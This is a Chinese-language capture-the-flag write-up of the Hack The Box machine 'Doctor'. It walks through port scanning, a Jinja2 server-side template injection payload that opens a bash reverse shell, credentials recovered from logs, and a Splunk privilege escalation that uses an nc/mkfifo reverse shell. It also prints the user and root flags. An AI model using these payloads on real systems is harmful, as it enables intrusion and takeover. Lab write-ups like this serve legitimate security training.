[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升

2024-08-02 146 0

信息收集

IP Address Opening Ports
10.10.10.209 TCP:22,80,8089

$ nmap -p- 10.10.10.209 --min-rate 1000 -sC -sV

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSTI

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图

# echo '10.10.10.209 doctors.htb'>>/etc/hosts

$ whatweb http://doctors.htb/login -v

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图1

http://doctors.htb/register

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图2

http://doctors.htb/login

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图3

http://doctors.htb/post/new

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图4

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图5

${7*7}

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图6

http://doctors.htb/archive

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图7

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图8

{{8*8}}

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图9

{{9*'9'}}

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图10

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c
'bash -i >& /dev/tcp/10.10.16.6/10032 0>&1'").read()}}{%endif%}{%endfor%}

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图11

http://doctors.htb/archive

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图12

User 权限

$ grep -R -e 'password' /var/log/ 2>/dev/null

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图13

username:shaun
password:Guitar123

$ su shaun

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图14

User.txt

89d2e206dac3a780e4859ba394f419b5

权限提升

$ ps -aux | grep splunk

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图15

$ git clone https://github.com/cnotin/SplunkWhisperer2

$ cd SplunkWhisperer2/PySplunkWhisperer2

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.2 --payload id

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图16

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload id

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图17

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 10033 >/tmp/f'

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升插图18

Root.txt

2f93ef26f3fd15a56c09311850459979


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论